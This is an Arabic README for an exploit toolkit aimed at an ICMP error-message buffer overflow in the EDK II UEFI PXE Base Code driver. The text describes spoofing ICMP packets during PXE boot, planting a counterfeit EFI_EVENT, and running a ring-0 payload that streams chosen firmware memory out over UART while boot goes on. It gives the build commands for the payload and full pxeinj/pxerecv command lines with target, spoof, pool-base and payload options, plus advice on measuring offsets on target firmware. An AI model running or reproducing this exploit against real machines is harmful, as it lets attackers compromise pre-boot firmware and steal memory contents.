
أدوات استغلال لثغرة تجاوز سعة خطأ ICMP في EDK II UEFI PXE (CVE-2026-97631): تصنع حزم ICMP منتحلة، وتزرع EFI_EVENT مزيفًا، وتُفرّغ ذاكرة DXE عبر UART.
أدوات لثغرة تجاوز سعة رسالة خطأ ICMP في برنامج تشغيل EDK II PXE Base Code
(NetworkPkg/UefiPxeBcDxe، GHSA-99cj-7hg9-mp4m، CVSS 4.0 9.5).
أثناء إقلاع PXE ينسخ برنامج التشغيل رسالة خطأ ICMP إلى مخزن مؤقت ثابت بحجم 504 بايت.
فتصبح الرسالة الأطول كتابةً خطية تتجاوز ذلك المخزن المؤقت، إلى مجمّع DXE.
ولأن وجهة الكتابة هي عنوان المخزن المؤقت نفسه، فإن الحمولة مستقلة عن الموقع: يهبط البايت i من مخطط البيانات عند &Mode->IcmpError + i.
تزرع الثغرة حدث EFI_EVENT مزيفًا؛ ويوزّعه نواة DXE عبر مسار CoreSignalEvent الاعتيادي؛ وتستعيد الحمولة الحدث من لقطة، وتمسح نطاقات ذاكرة يختارها المشغّل، وتعيد EFI_SUCCESS كي يستمر الإقلاع.
يبقى نطاق التأثير داخل ذاكرة DXE الخاصة بالبرنامج الثابت. لا كتابة على الفلاش، ولا آلية استمرارية، ولا أثر في نظام التشغيل.
include/pxe_layout.h EFI_PXE_BASE_CODE_ICMP_ERROR, IEVENT offsets, wire structs
include/craft.h one packet = one primitive
include/graft.h counterfeit event + payload parameter block
include/layout.h the overflow region (single source of truth)
src/payload.S ring-0 payload: restore, walk ranges, stream out
src/craft.c packet construction, IPv4 + IPv6
src/graft.c IEVENT overlay, parameter block
src/layout.c overflow assembly, shared by sender and simulator
src/main.c pxeinj: sniff xid, probe, send
src/net.c raw L3 transport, DHCP xid sniffer
src/recv.c pxerecv: serial collector, dump + map
sim/sim.c host harness that proves the chain
tools/fw_offsets.py pool offsets from a debug firmware build
الحمولة:
as --64 -o build/payload.o src/payload.S
ld -Ttext=0 -e payload_start --oformat elf64-x86-64 -o build/payload.elf build/payload.o
objcopy -O binary --only-section=.text build/payload.elf build/payload.bin
النتيجة 378 بايت، مستقلة عن الموقع، بدون إعادة تموضع.
المرسل والمستقبل يعتمدان على POSIX (AF_PACKET، IP_HDRINCL، termios) ويُبنيان
باستخدام make على Linux. يُبنى المحاكي باستخدام MSVC عبر Makefile.win:
cl /nologo /W3 /O2 /Iinclude /Fe:build\sim.exe sim\sim.c src\craft.c src\graft.c src\layout.c
يقوم build/sim.exe بتعيين صفحة pool وهمية، ويكتب الفائض حيث كان memcpy الثغرة سيحدث، ويتحقق من أن IEVENT الناتج سيرسل الحمولة، ويستدعي الحمولة كشيفرة آلة حقيقية، ثم يتحقق من:
26 فحصًا على التخطيط وABI والتأطير وبناء الحزم. يثبت هذا توافق الأجزاء مع بعضها البعض. لكنه لا يثبت عنوان pool لبرنامج ثابت معيّن، وهو تخصيص وقت التشغيل.
وضعان، يُستخدمان بالترتيب.
Probe: المسار القانوني فقط، دون كتابة خارج الحدود.
pxeinj --target 10.0.0.50 --spoof 10.0.0.1 --sniff --probe --send
خطأ ICMP سليم التكوين بحجم 504 بايت. نفس الانتحال، نفس معاملة BOOTP المضمّنة، نفس كل شيء. إذا واصل العميل الإقلاع، فهذا يعني أن الخطأ قُبل وتم الوصول إلى حلقة النسخ المعرّضة للثغرة. تأكيد غير مدمّر، ولا يحتاج إلى عنوان من المجموعة.
Overflow: يرفض البناء حتى تتوفر ثلاثة أشياء: قاعدة المجموعة
(tools/fw_offsets.py)، وبايتات الحدث الأصلية (--shadow)، ونطاق واحد
على الأقل.
pxeinj --target 10.0.0.50 --spoof 10.0.0.1 --xid 0xdeadbeef \
--pool-base 0x7f12345000 --payload build/payload.bin \
--ranges ranges.txt --shadow shadow.bin --uart 0x3f8 --send
pxerecv -d /dev/ttyUSB0 -o dump.bin -m dump.map
ranges.txt هو START-END واحد لكل سطر، بالنظام الست عشري دون 0x؛ راجع
ranges.example.txt لمعرفة الحجم وميزانية الوقت. مسار تجاوز السعة في v6 معطّل:
الفحص يعمل عبر v6، لكن الكتابة لا تعمل، إلى أن يُعاد اشتقاق حد النسخ في v6
من المصدر المُرقّع.
EFI_SUCCESS في مسار الإشعار الطبيعي، فيستمر الإقلاعSignalLink الخاص بالحدث متسق ذاتيًا، فلا يفشل اجتياز القائمةالآثار المتبقية متأصلة في العلّة: فقد أُشير إلى الحدث في وقت لا يكون فيه عادةً، وتبقى صفحة المجمّع متسخة، وإذا كانت المنصة تقيس DXE عبر TPM فإن قيمة PCR تكون كما كانت عند بدء الإقلاع. أي شيء يتجاوز ذلك ليس من خصائص هذه العلّة.
--send مطلوب؛ والوضع الافتراضي هو تشغيل تجريبي--pool-base و--payload و--shadow
وقائمة نطاقات غير فارغة. لكل منها طريقة محددة لإفساد البرنامج الثابت إذا
حُزّرت، لذا لا شيء منها اختياري--shadow على توقيع EFI_EVENT عند الإزاحة المتوقعة، ما يكشف
ملفًا مملوءًا بالأصفار و--event-off خاطئًا في فحص واحد بدلًا من لحظة الإرسالMode->IcmpError تخصيص وقت تشغيل ويختلف حسب
بناء البرنامج الثابت. لا يمكن اشتقاقه من خريطة الربط. يعطي
tools/fw_offsets.py الإزاحات؛ أما القاعدة فيجب قياسها على البرنامج الثابت
الهدف، مثلًا من تتبّع DEBUG_POOL، ثم تخزينها مؤقتًا.sizeof(EFI_PXE_BASE_CODE_MODE) وoffsetof(..., IcmpError) بين
إصدارات edk2. القيم الافتراضية في tools/fw_offsets.py نقاط بداية، وليست
قيمًا يُوثق بها.DpcHandle في الشجرة الهدف قبل الاعتماد على
إزاحة تجاوز السعة.CoreSignalEvent التالي. ولهذا السبب يرفض الأداة البناء دون --shadow.